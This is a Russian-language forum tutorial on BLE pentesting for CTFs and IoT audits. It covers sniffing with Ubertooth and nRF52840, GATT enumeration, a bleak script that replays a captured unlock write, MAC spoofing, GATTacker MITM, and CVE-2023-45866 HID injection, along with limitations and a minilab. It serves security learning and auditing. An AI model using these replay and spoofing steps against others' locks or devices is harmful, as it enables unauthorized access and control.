На IoT-CTF задача выглядела стандартно: BLE-замок, рядом смартфон-контроллер, нужно перехватить unlock-команду и повторить. Ubertooth One терял каждый третий пакет при channel hopping на BLE 4.2 - флаг забрала команда с nRF52840 Dongle, которая сняла полный capture за минуту. Вот и весь секрет: пентест Bluetooth и BLE на кастомном hardware - это про выбор правильного железа под конкретную задачу, а не про один универсальный сниффер. Ниже - полный цикл от перехвата advertising-пакетов до replay-атаки с конкретными командами, которые работают и на CTF, и при аудите безопасности BLE устройств.
Требования к окружению для пентеста Bluetooth и BLE
[Применимо: аудит IoT-устройств, CTF, физический пентест беспроводных сетей]Работает если:
- Linux (Ubuntu 22.04+ / Kali 2024+), BlueZ 5.64+
- Ubertooth One (прошивка 2024-R1+) или nRF52840 Dongle с прошивкой nRF Sniffer 4.x / Sniffle 1.10
- Wireshark 4.0+ с BLE-диссектором
- Python 3.10+, библиотека bleak (
pip install bleak) - Для crackle: сборка из исходников (github.com/mikeryan/crackle)
- RAM: от 4 ГБ (Wireshark с длинными capture жрёт 2+ ГБ)
- Целевое устройство использует LE Secure Connections (BLE 4.2+) с ECDH - crackle бессилен
- Устройство на BLE 5.x с 2 Mbps PHY или Coded PHY - Ubertooth эти режимы не тянет
- macOS/Windows без Linux VM - большинство инструментов требуют нативный Linux
BLE sniffing Ubertooth и nRF52 - перехват трафика Bluetooth Low Energy
Перехват BLE-трафика (Network Sniffing, T1040) - отправная точка пентеста Bluetooth и BLE. Задача двуступенчатая: сначала поймать advertising-пакеты целевого устройства (ADV_IND - устройство принимает соединения, ADV_NONCONN_IND - только broadcast), затем следовать за connection event и захватить GATT-операции.Ubertooth One запускается в promiscuous-режиме:
ubertooth-btle -p -r capture.pcapng. Для слежения за конкретным MAC - ubertooth-btle -f -t AA:BB:CC:DD:EE:FF -r connection.pcapng. Тут есть архитектурная засада: Ubertooth проектировался под Bluetooth Classic (BR/EDR), а BLE-поддержку прикрутили программно. Channel hopping обрабатывается не на аппаратном уровне - по данным сравнительного тестирования (wai-works.com), при connection interval 7.5 мс потери пакетов достигают 35%, а в типичном сценарии с фитнес-трекером capture rate - около 76% против 98%+ у Nordic-чипа. Разница ощутимая.nRF52840 Dongle (чип nRF52840; более старый nRF52832 тянет только базовые задачи BLE 4.x, без long range) с nRF Sniffer интегрируется в Wireshark через extcap-интерфейс:
wireshark -i nRF_Sniffer -k. Аппаратная синхронизация с connection timing удерживает capture rate выше 95% даже на быстрых интервалах. Типичная ошибка новичка: nRF52840 донгл поставляется с USB-бутлоадером, который перезаписывается при прошивке Sniffer-firmware. Восстановить бутлоадер после этого можно только через J-Link/JTAG - так что для сниффинга лучше держать отдельный донгл, не тот, на котором вы разрабатываете.Альтернативная прошивка - Sniffle от NCC Group (работает на CC26x2/CC1352 и nRF52):
python3 scanner.py --rssi -40 --output scan.pcap для ближайших устройств с сильным сигналом, python3 sniffer.py --string "target_name" --output sniff.pcap для фильтрации по имени в advertising data.В Wireshark два фильтра, которые экономят время:
_ws.col.info contains "Sent Write Command" покажет ATT Write Commands от клиента - handle и value, которые часто напрямую маппятся на действия устройства. Фильтр btle.advertising_header.pdu_type == 0x05 выделит CONNECT_IND - пакеты инициации соединения с access address, по которому можно следить за connection events.Ubertooth vs nRF52840: таблица выбора nRF52 hacking-инструментов
| Критерий | Ubertooth One | nRF52840 (nRF Sniffer / Sniffle) |
|---|---|---|
| BLE версии | До 4.0, частично 4.2 | BLE 5.2 полностью |
| Capture rate (7.5 мс interval) | ~35%* потери | 95%+ |
| 2 Mbps PHY / Coded PHY / CSA#2 | Нет | Да |
| Радиочастотный анализ спектра 2.4 ГГц | Да (основное преимущество) | Нет |
| Bluetooth Classic (BR/EDR) | Да | Нет |
| Интеграция с Wireshark | Через ubertooth-btle (нестабильно на длинных сессиях) | Нативный extcap |
| Стоимость | ~$120 | ~$10-15 (донгл) |
| Основной сценарий | BR/EDR, спектральная разведка, legacy BLE 4.0 | BLE 4.2-5.x: CTF, IoT-аудит, GATT-эксплуатация |
Для CTF и аудита IoT-устройств nRF52840 - основной инструмент. Ubertooth нужен для радиочастотного анализа широкого спектра и работы с Bluetooth Classic, где Nordic-чипы бесполезны. За $10 донгл - это вообще лучшее соотношение цена/результат в BLE-пентесте.
Анализ BLE GATT сервисов и эксплуатация уязвимостей
GATT (Generic Attribute Profile) определяет, как BLE-устройство структурирует данные: services группируют функциональность, characteristics содержат значения, descriptors описывают поведение характеристик. При пентесте Bluetooth и BLE именно GATT-профиль - основная атакующая поверхность: через writable-характеристики можно управлять устройством, через readable - вытянуть конфигурацию и firmware version (Peripheral Device Discovery, T1120).Классический
gatttool годится для интерактивной разведки: gatttool -i hci0 -b <MAC> -I → connect → characteristics. Для автоматизации - bleak:
Python:
import asyncio
from bleak import BleakClient
async def enum_gatt(addr):
async with BleakClient(addr) as client:
for svc in client.services:
print(f"Service: {svc.uuid}")
for ch in svc.characteristics:
print(f" {ch.uuid} | {','.join(ch.properties)}")
asyncio.run(enum_gatt("AA:BB:CC:DD:EE:FF"))
- Характеристики с
write/write-without-responseбез требования аутентификации - прямой вектор управления устройством - Readable-характеристики с firmware version, serial number, device configuration - утечка информации
- Кастомные UUID (не из реестра Bluetooth SIG) - проприетарная логика вендора, чаще всего без защиты вообще
- Notification-характеристики без CCCD-защиты - подписка на чувствительные данные без авторизации
ble.recon on → ble.show → ble.enum <MAC>. Покажет services, characteristics и properties, после чего запись в конкретную характеристику - ble.write <MAC> <UUID> <HEX>.MITM атака Bluetooth и replay - спуфинг BLE устройств
Многие BLE-периферии не используют pairing/bonding. Без bonding Link Layer шифрование не активируется, ATT/GATT трафик идёт открытым текстом - в чём мать родила. Любой сниффер перехватывает handle и value из write-операции, после чего произвольный центральный узел подключается к устройству и повторяет запись. Вот и вся replay-атака.Конкретный replay через bleak после перехвата данных из Wireshark:
Python:
import asyncio
from bleak import BleakClient
TARGET = "AA:BB:CC:DD:EE:FF"
CHAR_UUID = "0000ff01-0000-1000-8000-00805f9b34fb" # UUID из GATT-энумерации
CMD = bytes.fromhex("01") # значение из перехваченного пакета
async def replay():
async with BleakClient(TARGET) as c:
await c.write_gatt_char(CHAR_UUID, CMD) # UUID надёжнее int handle across backends
print(f"Replayed {CMD.hex()} to {CHAR_UUID}")
asyncio.run(replay())
spooftooph -i hci0 -a <target_mac> или утилиту bdaddr.Для полноценной MITM-атаки (Evil Twin, T1557.004) между телефоном и BLE-периферией - GATTacker. Он клонирует advertising-данные целевого устройства на втором BLE-адаптере, заставляя телефон подключиться к подставному узлу. Признаки GATTacker/BTLEJuice MITM в эфире: клонированные advertising с другим BD_ADDR, быстрые циклы connect/disconnect, дублированные Service UUID от разных адресов. Для этой атаки нужны два BLE-адаптера и физическая близость к обоим концам соединения.
CVE-2023-45866 - инъекция HID без аутентификации
Bluetooth HID Hosts в BlueZ позволяют неаутентифицированному Peripheral-устройству (HID Device) установить зашифрованное соединение и отправлять keyboard reports - инъекция клавиатурного ввода без каких-либо действий пользователя на стороне Central (CWE-287, Improper Authentication).CVSS 6.3 (MEDIUM), вектор
CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L - Adjacent Network, без привилегий, без user interaction. EPSS 0.0788 (94-й перцентиль - Top 10% по вероятности эксплуатации в дикой природе). Затронуты: BlueZ 5.64 (Ubuntu 22.04 LTS), Google Android, Blu Products DASH. В MITRE ATT&CK ближе всего к Adversary-in-the-Middle (T1557) - удалённая инъекция HID-сообщений по радиоканалу без физического доступа к целевой системе. T1200 (Hardware Additions) тут не подходит - он предполагает физическое подключение оборудования.На смартфонах атака срабатывает не всегда - результат сильно зависит от модели устройства и версии ОС, успех не гарантирован. Публичный PoC доступен на GitHub (Chedrian07/CVE-2023-45866-POC).
Crackle и атаки на шифрование LE Legacy Pairing
📚 Часть контента скрыта. Этот материал доступен участникам сообщества с рангом One Level или выше
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Получить доступ просто — достаточно зарегистрироваться и проявить активность на форуме
Just Works, Passkey Entry и OOB - association models, доступные как в LE Legacy Pairing, так и в LE Secure Connections. Но в Legacy Pairing они используют слабую криптографию (TK/STK), которой стоит избегать при разработке устройств. Numeric Comparison доступна только в LE Secure Connections, использует ECDH и защищает от eavesdropping. От MITM - только при условии, что пользователь реально сверяет шестизначный код на обоих устройствах (а кто это делает?). На CTF и при реальном аудите Just Works нередко встречается у дешёвых IoT-устройств, что делает crackle основным инструментом расшифровки перехваченного трафика Bluetooth Low Energy.
Ограничения техник пентеста Bluetooth и BLE
| Техника | Не работает когда |
|---|---|
| BLE sniffing через Ubertooth | BLE 5.x, 2 Mbps PHY, CSA#2 |
| Crackle | LE Secure Connections (ECDH), OOB pairing |
| Replay GATT write | Nonce/counter на стороне устройства, bonding с LTK |
| MAC spoofing | Identity Resolving Key (IRK), resolvable private addresses |
| GATTacker MITM | Secure Connections + Numeric Comparison с проверкой пользователем |
| BlueDucky (CVE-2023-45866) | Пропатченный BlueZ, Android security patch 2024-01+, iOS 17.2+ |
Общее ограничение всех техник: физическая близость к цели. CVSS-вектор - Adjacent Network. Практический радиус: 8-10 м для Ubertooth в офисном окружении, 15-20 м для nRF52840 с внешней антенной. В зашумлённом RF-окружении (офис с десятками BLE-маячков и Wi-Fi на 2.4 ГГц) Ubertooth теряет пакеты из-за buffer overflow на USB 2.0 при 1000+ advertising packets/sec. nRF52840 справляется за счёт выделенных пакетных буферов, но и у него деградация начинается в торговых центрах с сотнями BLE-маяков.
Для отработки полного цикла атак на Bluetooth протокол стоит собрать минилаб: nRF52840 Dongle (~$10), ESP32 как BLE-периферию с кастомным GATT-сервисом (одна writable-характеристика, управляющая GPIO - программируется через Arduino IDE с BLE-библиотекой за полчаса), ноутбук с Kali. Перехватываете write через сниффер, реплеите через bleak - от sniffing до exploitation за вечер.
BLE-пентест в 2025 - не экзотика и не ниша для энтузиастов с паяльником. Значительная часть IoT-девайсов на моём столе использует BLE 4.x без Secure Connections. Производители ставят Just Works pairing на устройства, у которых есть экран и клавиатура - Passkey Entry или Numeric Comparison были бы реализуемы, но никто не заморачивается. Проблема не в протоколе: спецификация BLE 4.2+ даёт полный набор инструментов для безопасного pairing. Проблема в том, что security review BLE-профиля не попадает в бюджет разработки.
Ожидаю, что в ближайший год основной вектор сместится с crackle-атак на Legacy Pairing (устройств на BLE 4.0 объективно становится меньше) к эксплуатации логических ошибок в кастомных GATT-профилях. Там, где вендор накрутил свой протокол поверх BLE и забыл про авторизацию на уровне отдельных характеристик. На CTF-площадках этот сдвиг уже виден: задачи «сломай замок через replay» уступают задачам «разбери проприетарный протокол и найди логическую ошибку в state machine». Кастомный hardware для пентеста беспроводных сетей при этом стоит $25 - nRF52840 донгл и ESP32 на макетке. Порог входа ниже, чем кажется. Попробуйте собрать минилаб из раздела выше и сломать свой собственный BLE-замок - если он на Just Works, вы удивитесь, как быстро это получится.